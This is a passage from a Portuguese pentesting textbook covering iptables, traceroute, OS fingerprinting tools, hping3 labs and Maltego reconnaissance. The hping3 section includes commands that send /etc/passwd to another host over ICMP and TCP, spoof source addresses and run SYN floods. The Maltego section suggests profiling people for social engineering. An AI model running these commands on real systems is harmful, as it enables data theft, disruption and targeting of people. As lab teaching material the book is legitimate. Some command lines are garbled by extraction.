Protocolo TCP.</p><p>upd Protocolo UDP.</p><p>icmp Protocolo ICMP.</p><p>--sport</p><p>porta</p><p>Define a porta de origem. Deve vir acompanhado da opção –p.</p><p>--dport</p><p>porta</p><p>Define a porta de destino. Deve vir acompanhado da opção –p.</p><p>-j ação Indica qual ação tomar quando uma regra é criada. As principais</p><p>ações são:</p><p>DROP Bloqueia o tráfego de dados.</p><p>REJECT Rejeita o tráfego de dados.</p><p>ACCEPT Aceita o tráfego de dados.</p><p>! Exceção a regra que vier depois de !.</p><p>-i iface Interface de entrada de dados.</p><p>-o oface Interface de saída de dados.</p><p>–A chain Adiciona uma regra.</p><p>–D chain</p><p>num</p><p>Deleta a regra de número num.</p><p>-F Apaga todas as regras.</p><p>-I chain</p><p>num</p><p>Insere uma regra de número num na chain escolhida. Se num=1</p><p>é inserida a primeira regra. Se num=2 é inserida a segunda</p><p>regra, e assim sucessivamente.</p><p>Exemplos de uso do iptables:</p><p>• Todo tráfego que sair da minha máquina com destino</p><p>ao IP 127.0.0.1 é bloqueado:</p><p>iptables –A OUTPUT –t filter –d 127.0.0.1 –j DROPUsa a tabela Filter.</p><p>iptables –A OUTPUT –d 127.0.0.1 –j DROPAssim como no exemplo</p><p>acima, também usa a tabela Filter.</p><p>• Todo tráfego que chegar como origem sendo o IP</p><p>127.0.0.1 e destino 192.168.1.102 pelo protocolo TCP</p><p>é rejeitado:</p><p>iptables –A INPUT –s 127.0.0.1 –d 192.168.1.102 –p tcp –j REJECT</p><p>• Todo tráfego que chegar como origem sendo o IP</p><p>127.0.0.1 e destino 192.168.1.102 pelo protocolo TCP</p><p>e porta de destino 80 é bloqueado:</p><p>iptables –A INPUT –t filter –s 127.0.0.1 –d 192.168.1.102 –p tcp --dport 80</p><p>–j DROP</p><p>• Todo tráfego que chegar com destino ao IP</p><p>192.168.1.102 pelo protocolo TCP é bloqueado, com</p><p>exceção ao tráfego vindo do IP 192.168.1.100:</p><p>iptables –A INPUT –t filter -d 192.168.1.102 –p tcp –j DROP ! –s</p><p>192.168.1.100</p><p>• Faz o redirecionamento da porta 80 para a porta 81:</p><p>iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-</p><p>port 81</p><p>• Deletar a regra de número num:</p><p>iptables –D INPUT 1Deleta a primeira regra da chain INPUT da tabela</p><p>Filter.</p><p>iptables –t nat -D PREROUTING 1Deleta a primeira regra da chain</p><p>PREROUTING da tabela NAT.</p><p>• Apagar todas as regras:</p><p>iptables –FDeleta todas as regras da tabela Filter.</p><p>iptables –F –t natDeleta todas as regras da tabela NAT.</p><p>• Inserir a primeira regra na tabela Filter na chain</p><p>OUTPUT:</p><p>iptables –I OUTPUT 1 –d 127.0.0.1 –j DROP</p><p>5.6 Informações de rota</p><p>Os dados que trafegam da sua máquina até a máquina</p><p>destino passam por roteadores, que determinarão a</p><p>melhor rota entre origem e destino. Algumas ferramentas</p><p>nos auxiliam a ver quais são os lugares por onde o</p><p>pacote passa até chegar ao seu destino.</p><p>5.6.1 Traceroute</p><p>O Traceroute é uma ferramenta que define o roteamento</p><p>de pacotes utilizando o protocolo ICMP. Enquanto o ping</p><p>apenas envia um pacote ICMP para determinado host</p><p>para verificar se este se encontra ativo e respondendo</p><p>por pacotes ICMP, o Traceroute consegue determinar a</p><p>rota de dados.</p><p>Seu funcionamento está baseado no uso do campo TTL</p><p>(Time-To-Live) do pacote IPv4. Este valor é decrementado</p><p>cada vez que o pacote passa por um salto.</p><p>Opções:</p><p>-I Envia pacotes ICMP Echo Request (método tradicional).</p><p>-T Envia pacotes TCP SYN (usado para burlar regras de firewall).</p><p>-U Envia pacotes UDP (usado para burlar regras de firewall).</p><p>Exemplos:</p><p>root@kali# traceroute 192.168.1.102</p><p>root@kali# traceroute –I 192.168.1.102</p><p>root@kali# traceroute –T 192.168.1.102</p><p>root@kali# traceroute –U 192.168.1.102</p><p>• Mude as regras do iptables no Debian para:</p><p>root@debian# iptables –F</p><p>root@debian# iptables –A OUTPUT –p icmp –j DROP</p><p>• Realize o Traceroute novamente no Kali Linux:</p><p>root@kali# traceroute 192.168.1.102</p><p>Aplicando uma regra de DROP sobre o protocolo ICMP, o Traceroute não</p><p>consegue mais traçar a rota (o Traceroute utiliza o protocolo ICMP para</p><p>determinação da rota).</p><p>• Mude as regras do iptables no Debian para:</p><p>root@debian# iptables –F</p><p>root@debian# iptables –A INPUT –p tcp –j DROP</p><p>• Realize o Traceroute novamente no Kali Linux:</p><p>root@kali# traceroute –T 192.168.1.102</p><p>O tráfego é bloqueado, pois utilizamos uma regra de DROP sobre o</p><p>protocolo TCP (lembre-se de que estamos utilizando a opção -T do</p><p>Traceroute).</p><p>Para cada regra do iptables, o Traceroute apresentou um</p><p>resultado diferente, conseguindo ou não enviar pacotes</p><p>ao destino.</p><p>5.6.2 TCPtraceroute</p><p>A ferramenta TCPtraceroute tem a mesma finalidade que</p><p>o Traceroute. A única diferença entre as duas</p><p>ferramentas é que enquanto o Traceroute define o</p><p>roteamento de dados por meio do protocolo ICMP</p><p>(facilmente bloqueável pelo iptables ou por qualquer</p><p>outro tipo de firewall), o TCPtraceroute define o</p><p>roteamento de dados enviando requisições SYN/ACK para</p><p>uma determinada porta por meio do protocolo TCP/IP.</p><p>O TCPtraceroute receberá se a porta estiver</p><p>aberta, e se estiver fechada.</p><p>• Delete as regras do iptables:</p><p>root@debian# iptables –F</p><p>• Inicie o servidor Apache:</p><p>root@debian# service apache2 start</p><p>• Utilize o TCPtraceroute enviando um pacote até a</p><p>porta 80 (nesse momento a porta encontra-se aberta):</p><p>root@kali# tcptraceroute 192.168.1.102 80</p><p>Observe que a resposta será :</p><p>traceroute to 192.168.1.102 (192.168.1.102), 30 hops max, 60 byte</p><p>packets</p><p>1Debian (192.168.1.102) 1000.969 ms 1400.148 ms</p><p>1000.761 ms</p><p>• Finalize o serviço de web no Debian:</p><p>root@debian# service apache2 stop</p><p>• Utilize o TCPtraceroute enviando um pacote até a</p><p>porta 80 (nesse momento encontra-se fechada):</p><p>root@kali# tcptraceroute 192.168.1.102 80</p><p>Observe que a resposta será :</p><p>traceroute to 192.168.1.102 (192.168.1.102), 30 hops max, 60 byte</p><p>packets</p><p>1Debian (192.168.1.102) 2.512 ms 2.461 ms 2.433 ms</p><p>1 Técnica para balanceamento de carga. Normalmente é utilizado mais de</p><p>um endereço IP para dividir um número muito grande de pedidos de</p><p>conexões àquele destino. Leia o item 6.2.1 para mais detalhes.</p><p>CAPÍTULO 6</p><p>Fingerprinting</p><p>Após realizado o processo de coleta de informações (ou</p><p>footpriting) sobre a rede alvo, tais como topologia,</p><p>servidores DNS, análise de rota, é necessário descobrir</p><p>qual é a versão do sistema operacional das máquinas</p><p>que estão na rede. Sabendo quais são as máquinas</p><p>ativas na rede e qual a versão de seu sistema</p><p>operacional, é possível escolher os exploits adequados.</p><p>A etapa de fingerprinting pode ser categorizada em</p><p>passivo ou ativo:</p><p>• Passivo – Neste tipo de varredura é escutado por</p><p>conexões da rede de forma passiva, normalmente</p><p>executando algum serviço e esperando por conexões.</p><p>• Ativo – Nesse tipo de varredura são enviados pacotes</p><p>para a máquina que se queira determinar a versão do</p><p>sistema operacional.</p><p>6.1 Fingerprinting passivo</p><p>Ferramentas de fingerprinting passivo apenas ficam</p><p>esperando por conexões. No momento em que é</p><p>estabelecida uma conexão (da</p><p>máquina alvo para a</p><p>máquina atacante), a ferramenta compara os dados</p><p>recebidos com uma base de dados. Assim, dados iguais</p><p>representam determinado sistema operacional. Esse tipo</p><p>de teste “voa mais baixo no radar” e com certeza é mais</p><p>silencioso do que o fingerprinting ativo.</p><p>6.1.1 P0f</p><p>O p0f é uma ferramenta para o fingerprinting passivo,</p><p>esperando por conexões e determinando a versão do</p><p>sistema operacional daquela máquina.</p><p>Opção:</p><p>-i iface Determina qual interface será utilizada. Por padrão é a eth0.</p><p>Exemplo:</p><p>root@kali# service apache2 start</p><p>root@kali# p0f –i eth0</p><p>Com outra máquina (por exemplo, Windows 7), conecte</p><p>no servidor web do Kali Linux. O fingerprinting do</p><p>Windows será determinado.</p><p>[+] Closed 2 file descriptors.</p><p>[+] Loaded 320 signatures from 'p0f.fp'.</p><p>[+] Intercepting traffic on interface 'wlan0'.</p><p>[+] Default packet filtering configured [+VLAN].</p><p>[+] Entered main event loop.</p><p>.-[ 192.168.1.101/1049 -> 192.168.1.100/80 (syn) ]-</p><p>| client = 192.168.1.101/1049</p><p>| os = Windows 7 or 8</p><p>| dist = 0</p><p>| params = none</p><p>| raw_sig = 4:128+0:0:1460:8192,8:mss,nop,ws,nop,nop,sok:df,id+:0</p><p>6.2 Fingerprinting ativo</p><p>Ferramentas de coleta de informação ativas com certeza</p><p>são em maior número do que as passivas. Embora sejam</p><p>mais visíveis a sistema de defesas (como um bom</p><p>firewall e/ou IDS – sistema de detecção de intruso) do</p><p>que as ferramentas passivas, a coleta ativa também é</p><p>necessária.</p><p>6.2.1 Ping</p><p>O ping envia um pacote ICMP Echo Request ao host alvo.</p><p>Se o host estiver ativo e não estiver sendo bloqueado por</p><p>regras de firewall, responderá com ICMP Echo Reply.</p><p>root@kali# ping 192.168.1.102</p><p>Por meio do ping em conjunto com o Traceroute é</p><p>possível a determinação do sistema operacional, devido</p><p>ao TTL (Time-To-Live). Cada sistema operacional tem um</p><p>TTL que é decrementado a cada vez que passa por um</p><p>salto. Originalmente, os TTL dos principais sistemas</p><p>operacionais são:</p><p>Linux 64</p><p>Windows 128</p><p>Unix 255</p><p>Envie um ping para um site:</p><p>root@kali# ping www.google.com.br -c 1</p><p>A resposta será algo parecido com:</p><p>PING www.google.com.br (173.194.119.31) 56(84) bytes of data.</p><p>64 bytes from rio01s07-in-f31.1e100.net (173.194.119.31): icmp_req=1</p><p>ttl=53 time=52.4 ms</p><p>--- www.google.com.br ping statistics ---</p><p>1 packets transmitted, 1 received, 0% packet loss, time 0ms</p><p>rtt min/avg/max/mdev = 52.475/52.475/52.475/0.000 ms</p><p>No exemplo com o ping, o TTL está marcado como sendo</p><p>53, indicando decremento do TTL, ou seja, o nosso</p><p>pacote passou por alguns roteadores antes de chegar ao</p><p>seu destino final.</p><p>Execute o Traceroute para esse site, para confirmar quais</p><p>são os caminhos que o nosso pacote passa antes de ser</p><p>entregue ao destino final.</p><p>root@kali# tracetroute www.google.com.br</p><p>A resposta será (editado por motivos visuais):</p><p>1192.168.1.1 (192.168.1.1)5.117 ms5.028 ms5.006 ms</p><p>2* * *</p><p>.</p><p>.</p><p>.</p><p>12rio01s07-in-f15.1e100.net (173.194.119.15)50.224 ms58.284</p><p>ms45.276 ms</p><p>O último salto é o 12, indicando que há 12 máquinas</p><p>entre a origem e o destino. Dessa forma, o fingerprinting</p><p>será 53 (TTL) + 12 (Último salto) = 65, indicando que a</p><p>máquina está rodando algum servidor Linux.</p><p>Em determinadas situações, realizar um ping ou</p><p>Traceroute para traçar a rota até o alvo pode indicar um</p><p>endereço IP de destino diferente para cada requisição.</p><p>Muito provavelmente o seu alvo está utilizando load</p><p>balance (balanceamento de carga), que é uma técnica</p><p>para distribuição de requisições que são enviadas até o</p><p>destino. Por exemplo, o site ABC possui load balance com</p><p>o site DEF, assim, se o site ABC receber muitas</p><p>requisições, um pouco do fluxo de dados pode ser</p><p>direcionado para DEF. O Google é um exemplo de site</p><p>que utiliza o load balance. Verifique se o domínio que</p><p>está sendo testado possui balanceamento de carga com</p><p>o comando lbd.</p><p>root@kali# lbd www.site.com.br</p><p>6.2.2 Fping</p><p>O fping é uma ferramenta usada para envio de ICMP</p><p>Echo Request para vários hosts ao mesmo tempo (no</p><p>ping é enviado somente para um host). Caso o host</p><p>responda com ICMP Echo Reply, significa que o host está</p><p>online, e são exibidas informações a respeito do pacote</p><p>ICMP. Caso contrário, é exibida uma mensagem de</p><p>unrechable.</p><p>Opções:</p><p>-c count Limita a quantidade de pacotes que serão enviados.</p><p>-g IPs Determina a faixa de IPs.</p><p>Por padrão são exibidos na tela os hosts que estão</p><p>offline:</p><p>root@kali# fping 192.168.1.102</p><p>O fping também pode ser usado para enviar um pacote</p><p>ICMP Echo Request para mais de uma máquina:</p><p>root@kali# fping 192.168.1.1 192.168.1.100 192.168.1.102</p><p>Dica: para evitar que sejam exibidas na tela todas as mensagens, envie</p><p>as mensagens de erro para /dev/null.</p><p>root@kali# fping –c 1 –g 192.168.1.0/24 2> /dev/null</p><p>6.2.3 Arping</p><p>O arping é uma ferramenta utilizada como um “ping”</p><p>apenas para a rede local. Isso porque o arping utiliza o</p><p>protocolo ARP REQUEST como protocolo de requisição</p><p>(protocolo roteável apenas para LAN, segundo o modelo</p><p>OSI). Como opera na camada 2 do modelo OSI, ele não</p><p>sai através de roteadores ou gateways.</p><p>root@kali# arping 192.168.1.102</p><p>6.2.4 Netdiscover</p><p>Similar à ferramenta Arping, porém é possível enviar</p><p>pacotes ARP REQUEST para uma faixa de IPs.</p><p>Opções:</p><p>-r Determina a faixa de IPs.</p><p>-i iface Determina qual interface será utilizada. Por padrão é a eth0.</p><p>Exemplo:</p><p>root@kali# netdiscover –r 192.168.1.0/24 –i eth0</p><p>6.2.5 Hping3</p><p>O hping3 é um gerador de pacotes. Com ele é possível</p><p>detectar hosts ativos, regras de firewall, varreduras de</p><p>portas, testar o desempenho da rede, fragmentação de</p><p>pacotes, TOS, fingerprinting etc. Suporta diversos</p><p>protocolos como TCP, UDP, ICMP etc.</p><p>6.2.5.1 Laboratório com hping3</p><p>Caso deseje, instale o hping3 no Debian com o</p><p>comando apt-get install hping3.</p><p>1. Enviando pacotes ICMP Echo Request</p><p>root@debian# iptables -F Limpe as regras do iptables.</p><p>root@kali# hping3 192.168.1.102 -1 O pacote é enviado normalmente</p><p>para o servidor Debian.</p><p>root@debian# iptables –A INPUT –p icmp –j REJECT Insira uma regra de</p><p>REJECT.</p><p>root@kali# hping3 192.168.1.102 -1 O pacote é bloqueado pelo</p><p>firewall.</p><p>2. Limitando o número de pacotes</p><p>root@debian# iptables –F</p><p>root@kali# hping3 -1 192.168.1.102 –c 3São enviados três pacotes</p><p>para o Debian.</p><p>3. Modificando o tipo ICMP</p><p>root@debian# iptables -F</p><p>root@kali# hping3 192.168.1.102 –1 –C 8 –K 0 ICMP Echo Request.</p><p>root@kali# hping3 192.168.1.102 –1 –C 0 –K 0 ICMP Echo Reply.</p><p>root@kali# hping3 192.168.1.102 –1 –C 13 –K 0 ICMP Timestamp</p><p>Request.</p><p>2. Pacotes SYN para uma porta específica</p><p>root@debian# iptables -F</p><p>root@kali# hping3 192.168.1.102 –S –p 80 Porta aberta, resposta</p><p>.</p><p>root@kali# hping3 192.168.1.102–S –p 81 Porta fechada, resposta</p><p>.</p><p>3. Pacotes UDP</p><p>root@debian# iptables -F</p><p>root@kali# hping3 192.168.1.102 –2</p><p>root@kali# hping3 192.168.1.102 –2 –p 54 Em UDP, a resposta é</p><p>diferente do TCP. Porta fechada, resposta .</p><p>root@kali# hping3 192.168.1.102 –2 –p 53 Porta aberta, não há</p><p>resposta.</p><p>4. Port scanner (Primeiro método)</p><p>root@debian# iptables -F</p><p>root@debian# service apache2 start</p><p>root@kali# hping3 192.168.1.102 -c 3 –S –p ++79 Inicia a varredura a</p><p>partir da porta 79. Porta aberta, resposta .</p><p>root@debian# iptables –A INPUT –p tcp --dport 80 –j REJECT</p><p>root@kali# hping3 192.168.1.102 -c 3 –S –p ++79 Porta filtrada com</p><p>REJECT, resposta .</p><p>root@debian# iptables -F</p><p>root@debian# iptables –A INPUT –p tcp --dport 80 –j DROP</p><p>root@kali# hping3 192.168.1.102 -c 3 –S –p ++79 Porta filtrada com</p><p>DROP, sem resposta.</p><p>5. Port scanner (Segundo método)</p><p>root@debian# iptables –F</p><p>root@kali# hping3 192.168.1.102 –S --scan 77-81Realiza a</p><p>varredura das portas 77 a 81.</p><p>6. Enviar pacotes com determinada porta de origem</p><p>root@debian# iptables -F</p><p>root@kali# iptables –A INPUT –p tcp --dport 80 –j DROP ! --sport 12345</p><p>Só aceita pacotes se a porta de origem for 12345.</p><p>root@kali# hping3 192.168.1.102 –S –p 80 –s 12345</p><p>Porta de origem inicia-se com 12345, sendo incrementada.</p><p>root@kali# hping3 192.168.1.102–S</p><p>–p 80 –s 12345 -k</p><p>Porta de origem é fixada como 12345.</p><p>7. Enviar pacotes com origem falsa (Enviando-se</p><p>pacotes com origem falsa não há retorno do pacote.</p><p>Esse conceito é mais bem explicado no capítulo</p><p>15,“DoS – Denial of Service”).</p><p>root@kali# hping3 192.168.1.1 –S –p 80 --spoof 1.2.3.4</p><p>8. Enviar pacotes com origem aleatória</p><p>root@debian# iptables -F</p><p>root@kali# hping3 192.168.1.102 –S –p 80 --rand-source</p><p>9. Enviar pacotes com destino aleatório</p><p>root@debian# iptables -F</p><p>root@kali# hping3 –S –p 80 --rand-dest x.x.x.x -I eth0</p><p>O caracter 'x' indica um número qualquer. O destino é totalmente</p><p>aleatório.</p><p>root@kali# hping3 –S –p 80 --rand-dest 6.6.6.x -I eth0</p><p>O destino será 6.6.6, sendo o último digito um destino aleatório.</p><p>As varreduras 10, 11, 12 e 13 são utilizadas para</p><p>determinar se uma porta está sob alguma regra de</p><p>firewall, e não para determinar se uma porta está</p><p>aberta e respondendo por pacotes. Para mais detalhes</p><p>sobre regras de firewall e port scanners, consulte a</p><p>seção 7.3,“Port scanner”.</p><p>10. Determinação das regras de firewall: ACK scan</p><p>root@debian# iptables -F</p><p>root@debian# service apache2 stop</p><p>root@kali# hping3 192.168.102 –p 80 -A Envio da flag ACK. Porta não</p><p>filtrada, resposta .</p><p>root@debian# service apache2 start</p><p>root@kali# hping3 192.168.102 –p 80 –A Envio da flag ACK. Porta não</p><p>filtrada, resposta .</p><p>root@debian# iptables –A INPUT –p tcp --dport 80 –j REJECT</p><p>root@kali# hping3 192.168.102 –p 80 -A Porta filtrada com regra de</p><p>REJECT, resposta .</p><p>root@debian# iptables -F</p><p>root@debian# iptables –A INPUT –p tcp --dport 80 –j DROP</p><p>root@kali# hping3 192.168.102 –p 80 -A Porta filtrada com DROP, sem</p><p>resposta.</p><p>11. Determinação das regras de firewall: FIN scan</p><p>root@debian# service apache2 start</p><p>root@debian# iptables -F</p><p>root@kali# hping3 192.168.102 –p 80 -F Envio da flag FIN. Porta não</p><p>filtrada, sem resposta.</p><p>root@debian# iptables –A INPUT –p tcp --dport 80 –j REJECT</p><p>root@kali# hping3 192.168.102 –p 80 -F Porta filtrada com regra de</p><p>REJECT, resposta .</p><p>root@debian# iptables -F</p><p>root@debian# iptables –A INPUT –p tcp --dport 80 –j DROP</p><p>root@kali# hping3 192.168.102 –p 80 -F Porta filtrada com DROP, sem</p><p>resposta (idem portas não filtradas).</p><p>12. Determinação das regras de firewall: XMAS scan</p><p>root@debian# service apache2 start</p><p>root@debian# iptables -F</p><p>root@debian# iptables –A INPUT –p tcp --dport 80 –j REJECT</p><p>root@kali# hping3 192.168.102 –p 80 –X Todas as flags acionadas</p><p>(FIN+PSH+URG). Similar a uma árvore de natal.</p><p>root@debian# iptables -F</p><p>root@debian# iptables –A INPUT –p tcp --dport 80 –j DROP</p><p>root@kali# hping3 192.168.102 –p 80 -X</p><p>13. Determinação das regras de firewall: NULL scan</p><p>root@debian# service apache2 start</p><p>root@debian# iptables -F</p><p>root@debian# iptables –A INPUT –p tcp --dport 80 –j REJECT</p><p>root@kali# hping3 192.168.102 –p 80 Nenhuma flag acionada (NULL</p><p>scan).</p><p>root@debian# iptables -F</p><p>root@debian# iptables –A INPUT –p tcp --dport 80 –j DROP</p><p>root@kali# hping3 192.168.102 –p 80</p><p>14. Transferência de arquivos via ICMP</p><p>• Máquina que vai receber os dados</p><p>root@kali# hping3 -1 localhost --listen assinatura –I eth0</p><p>A opção --listen define que o hping fica listando pelo payload</p><p>assinatura. Também deve ser especificada a interface de rede que</p><p>receberá os dados.</p><p>• Máquina que vai enviar os dados</p><p>root@debian# hping3 -1 192.168.1.100 -d 100 --sign assinatura --file</p><p>/etc/passwd</p><p>O hping envia o arquivo /etc/passwd em blocos de 100 bytes.</p><p>15. Transferência de arquivos via TCP</p><p>• Máquina que vai receber os dados</p><p>root@kali# hping3 localhost -p 666 --listen assinatura -I eth0</p><p>• Máquina que vai enviar os dados</p><p>root@debian# hping3 192.168.1.100 -p 666 -d 100 --sign assinatura -</p><p>-file /etc/passwd</p><p>16. Sniffer HTTP</p><p>root@kali# hping3 --listen GET -I eth0</p><p>Acesse qualquer site que utilize o protocolo HTTP para ver a captura dos</p><p>pacotes HTTP. Normalmente interfaces web de roteadores utilizam o</p><p>HTTP.</p><p>17. Negação de serviço</p><p>root@kali# hping3 192.168.1.1 –S –p 80 --flood</p><p>root@kali# hping3 192.168.1.1 –S –p 80 --flood --rand-source</p><p>6.2.6 Xprobe2</p><p>Ferramenta utilizada para determinação do sistema</p><p>operacional de maneira ativa, analisando assinaturas</p><p>dentro do pacote TCP.</p><p>root@kali# xprobe2 192.168.1.102</p><p>Se a varredura for realizada sobre uma porta específica,</p><p>mais exato será:</p><p>root@kali# xprobe2 -p tcp:445:open 192.168.1.101</p><p>6.2.7 Maltego</p><p>O Maltego é uma excelente ferramenta gráfica para a</p><p>etapa de coleta de informações. Os seus módulos</p><p>incluem: análise e varredura sobre servidores DNS,</p><p>mapeamento de IPs, consulta de emails, telefones, perfil</p><p>em redes sociais e diversos outros tipos de análises.</p><p>Este capítulo tem como objetivo ensinar o funcionamento</p><p>do Maltego e não descrever todos os seus módulos.</p><p>Porém, o leitor sabendo operar e entendendo como o</p><p>Maltego funciona, utilizar e combinar as diversas opções</p><p>oferecidas pelo Maltego será fácil.</p><p>Inicie o Maltego no Kali Linux:</p><p>root@kali# maltego</p><p>A figura 6.1 mostra a tela inicial do Maltego.</p><p>Figura 6.1 – Tela inicial do Maltego.</p><p>Registre-se para poder utilizá-lo (Figura 6.2).</p><p>Figura 6.2 – Registre-se no Maltego.</p><p>A tela de confirmação de dados é mostrada na figura 6.3.</p><p>Figura 6.3 – Os dados estão ok.</p><p>É necessário escolher em quais servidores o Maltego fará</p><p>a sua coleta de informações (lembrando que as</p><p>informações obtidas pelo Maltego são informações</p><p>públicas). O leitor poderá escolher a opção Maltego</p><p>public servers (nessa opção o Maltego consulta os seus</p><p>próprios servidores para coleta de informações) ou</p><p>também o leitor poderá indicar por meio da opção Local</p><p>TAS (Transform Application Server) um IP de algum</p><p>servidor para realizar a tarefa do Maltego (Figura 6.4).</p><p>Figura 6.4 – Selecione Maltego public servers para o</p><p>Maltego consultar os seus servidores.</p><p>Uma vez selecionado qual tipo de servidor do Maltego</p><p>fará a coleta de informações (procedimento chamado de</p><p>transform ou transformação), o Maltego solicita se vamos</p><p>querer uma transformação pronta (opção Run a machine</p><p>NEW!!), um gráfico novo (opção Open a blank graph and</p><p>let me play around), abrir um gráfico de exemplo (opção</p><p>Open an example graph) ou pular essa etapa (opção Go</p><p>away, I have done this before). Apenas para ilustrar vou</p><p>selecionar a opção Run a machine, para mostrar (apenas</p><p>visualmente) quais são os tipos de transformação que o</p><p>Maltego pode realizar (Figura 6.5).</p><p>Figura 6.5 – Selecione a opção Run a machine (NEW!!)</p><p>Agora temos a opção de escolher um template pronto</p><p>para ser usado na transformação do Maltego. Cada</p><p>template tem um mecanismo de busca e varredura sobre</p><p>a rede em que se queira realizar o teste. Uma vez</p><p>entendido o funcionamento do Maltego, eu desafio o</p><p>leitor a mexer e brincar com o Maltego com os templates</p><p>predefinidos e ver o resultado de cada um.</p><p>Primeiro vou cancelar esses templates e criar uma</p><p>varredura a partir do início, conforme mostra a figura 6.6.</p><p>Figura 6.6 – Templates prontos para o Maltego.</p><p>Crie um template novo conforme mostra a figura 6.7.</p><p>Figura 6.7 – Template novo.</p><p>O Maltego é dividido em abas (Figura 6.8). Na aba da</p><p>esquerda podemos escolher o tipo de teste que será</p><p>realizado: enumeração DNS, coleta de email,</p><p>informações de redes sociais etc. A aba central é uma</p><p>interface gráfica para manipulação dos testes</p><p>selecionados na aba da esquerda. Na aba da direita</p><p>podemos escolher as informações e detalhes do</p><p>processamento e realizações de testes). Na aba inferior é</p><p>mostrado o resultado do teste.</p><p>Figura 6.8 – Abas do Maltego. Cada aba tem a sua</p><p>funcionalidade.</p><p>Para realizarmos um teste sobre um domínio, clicamos</p><p>sobre o item Domain da aba da esquerda e arrastamos o</p><p>item para a aba central. A figura 6.9 mostra esse</p><p>procedimento.</p><p>Figura 6.9 – Criação do primeiro teste.</p><p>Por padrão é selecionado o domínio paterva.com</p><p>(domínio dos criadores do Maltego). Podemos alterar</p><p>esse domínio clicando sobre o seu ícone na aba central e</p><p>apertando a tecla F2 (como se fôssemos</p><p>renomear o</p><p>arquivo) ou, na aba à direita no campo Domain Name,</p><p>podemos definir o novo domínio. A figura 6.10 mostra</p><p>esse procedimento.</p><p>Figura 6.10 – Trocando para o domínio desejado.</p><p>Há diversos testes que o Maltego pode realizar. Para ver</p><p>as transformações possíveis, clique com o botão direito</p><p>do mouse sobre o ícone localizado na aba central e vá</p><p>para a guia Run Transform. A guia Run Machine contém</p><p>os templates prontos mostrados na inicialização do</p><p>Maltego para aquele cenário (no nosso exemplo, o</p><p>domínio kali.com.br). A figura 6.11 mostra esse</p><p>procedimento.</p><p>Figura 6.11 – Possíveis testes a serem realizados.</p><p>Vá à guia Run Transform> Others Transforms ></p><p>DomainTODNSZoneTransfer para realizar uma</p><p>transferência de zona. Dependendo da transformação</p><p>usada, é exibida uma mensagem de alerta (Figura 6.12).</p><p>Figura 6.12 – Mensagem de alerta. Aceite-a sem</p><p>problemas.</p><p>A figura 6.13 mostra o resultado da tentativa de</p><p>transferência de zona.</p><p>Figura 6.13 – Transferência de zona executada com</p><p>sucesso. O domínio kali.com.br tem oito servidores.</p><p>O resultado obtido pode sofrer outra transformação. Por</p><p>exemplo, a figura 6.13 mostra que o domínio contém o</p><p>servidor FTP ftp.kali.com.br. Por meio desse servidor é</p><p>possível fazer uma análise (transformação), e com o</p><p>resultado obtido fazer outras análises (transformações).</p><p>As possibilidades são infinitas.</p><p>A figura 6.14 mostra o resultado dessa transformação.</p><p>Figura 6.14 – Resultado de uma transformação “Resolve</p><p>to IP” sobre o ativo ftp.kali.com.br.</p><p>Uma transformação que vale a pena ser citada é a</p><p>transformação sobre email, que faz uma análise dos sites</p><p>que tenham aquele email como registro. Uma boa fonte</p><p>de engenharia social, pois podemos “lapidar” qual é o</p><p>gosto da pessoa e selecionar um vetor de ataque com</p><p>base nessas informações. A figura 6.15 mostra essa</p><p>transformação.</p><p>Figura 6.15 – Transformação sobre email.</p><p>Como último teste também é possível obter dados das</p><p>pessoas por meio de redes sociais, conforme mostra a</p><p>figura 6.16.</p><p>Figura 6.16 – Transformação sobre redes sociais.</p><p>CAPÍTULO 7</p><p>Enumeração</p><p>Com a lista de hosts online, o processo de pentest deve</p><p>ser “afunilado” por meio da etapa de enumeração, que</p><p>consiste em realizar um levantamento mais específico</p><p>sobre determinada máquina. Por exemplo, determinamos</p><p>que a máquina XYZ esteja online e respondendo por</p><p>pacotes na rede. Mas esse tipo de informação é muito</p><p>supérflua. Isso porque uma máquina respondendo por</p><p>pacotes não necessariamente é uma máquina</p><p>vulnerável. Para começar a cavar mais fundo devemos</p><p>determinar:</p><p>• Portas abertas juntamente com a versão do serviço</p><p>rodando.</p><p>• Sistema operacional.</p><p>Se uma máquina tem uma porta aberta,</p><p>obrigatoriamente estará rodando um serviço, mas o fato</p><p>de estar rodando um serviço não indica vulnerabilidade.</p><p>Porém, a máquina pode estar rodando algum serviço</p><p>vulnerável.</p><p>Então, constatada a porta aberta e a versão do serviço</p><p>que está escutando nessa porta, a busca por exploits</p><p>contra aquele software é realizada com o intuito de</p><p>encontrar alguma falha que possibilite a invasão do</p><p>sistema.</p><p>Antes de enumerarmos as portas abertas e descobrir a</p><p>versão do sistema operacional é necessário</p><p>compreendermos o modelo OSI com o protocolo TCP</p><p>(serão manipuladas as flags do protocolo TCP, e um</p><p>entendimento básico sobre esses conceitos é</p><p>fundamental para prosseguirmos nos estudos).</p><p>7.1 Modelo OSI</p><p>O modelo OSI é um modelo conceitual que divide em</p><p>sete camadas os protocolos para redes de computadores.</p><p>É apenas um modelo de referência, que serve para</p><p>construção de outros protocolos, porém não é</p><p>implementado fisicamente.</p><p>O modelo OSI divide o encapsulamento e transmissão</p><p>dos dados em sete camadas:</p><p>Tabela 7.1 – Camadas e funcionalidades</p><p>Camada Nome Descrição</p><p>7 Aplicação</p><p>Última camada do modelo OSI, onde ficam os</p><p>serviços que interagem diretamente com o</p><p>usuário. Por exemplo: serviços web (protocolo</p><p>HTTP), email (protocolo SMTP).</p><p>6 Apresentação</p><p>É responsável por organizar</p><p>(sintaticamente/semanticamente) os dados e</p><p>transmiti-los à camada de aplicação. A criptografia</p><p>e a compressão de dados fazem parte dessa</p><p>camada.</p><p>5 Sessão</p><p>É a camada responsável por manter ativas as</p><p>conexões entre os sockets (processos) de duas</p><p>máquinas distintas que estão se comunicando na</p><p>rede via camada de transporte.</p><p>4 Transporte</p><p>A camada de transporte possibilita que dois hosts</p><p>remotos possam trocar dados. Os protocolos TCP</p><p>(Transmission Control Protocol) e UDP (User</p><p>Datagram Protocol) enquadram-se nessa camada.</p><p>Camada Nome Descrição</p><p>3 Rede</p><p>Os pacotes encapsulados até a camada 4 precisam</p><p>trafegar entre máquinas distintas. O sistema de</p><p>tráfego de dados é denominado roteamento.</p><p>Imaginem o roteamento como sendo várias vias de</p><p>uma estrada. O carro (pacote) pode escolher</p><p>vários caminhos (rotas) para chegar ao destino,</p><p>porém o mais sensato é sempre escolher o melhor</p><p>caminho (o menos congestionado, com a melhor</p><p>estrada etc.). A função da camada de rede 